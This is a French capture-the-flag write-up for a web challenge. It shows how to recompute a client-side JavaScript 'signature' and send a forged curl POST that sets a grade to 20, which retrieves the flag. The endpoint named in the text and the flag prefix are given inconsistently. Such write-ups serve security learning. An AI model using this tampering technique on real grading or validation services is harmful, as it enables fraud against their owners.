

# Top Promo (EASY)

---

Auteur(s) :

Senkei

Catégorie :

Web

Description :

Triche et valide ton année.

<https://top-promo.univhackon.fr>

**Flag :** UH0CTF{Fake\_flag}

---

## Solution

Pour ce challenge, il faut envoyer une requête POST avec les paramètres `note` et `signature` à l'URL <https://top-promo.univhackon.fr/validate>.

```
xhr.send(`note=${note}&signature=0`);
```

Quand on essaye de faire un poste en curl on obtient :

```
curl -X POST -d 'note=20&signature=0' https://top-promo.univhackon.fr/ajouter
```

```
curl: (6) Could not resolve host: application
```

```
{"data": "Vilain tricheur ! ", "message": "La signature est incorrecte !"} 
```

On comprend qu'il faut modifier la signature pour que la requête soit valide et il y a deux fonction qui sont données dans le code source de la page :

```
const a=function(b){return Math.pow(b,3)+Math.sqrt(b)+Math.log(b)};

const ab=function(c){return Math.pow(c,6)+ Math.pow(c,5)+
Math.pow(c,4)+ Math.pow(c,3)+ Math.pow(c,2)+c};
```

Elles prennent un param donc on peut se dire que c'est la note.

On peut les exécuter directement dans le navigateur, F12 -> console :

```
a(20)  
8007.467868228553
```

et

```
ab(20)  
67368420
```

On essaye d'envoyer ceci en signature :

```
curl -X POST -d 'note=20&signature=8007.467868228553' https://top-  
promo.univhackon.fr/ajouter  
  
{"data": "UHOCTF{ANNEE_VALIDÉE}"}
```

**Flag** - UHOCTF{ANNEE\_VALIDÉE}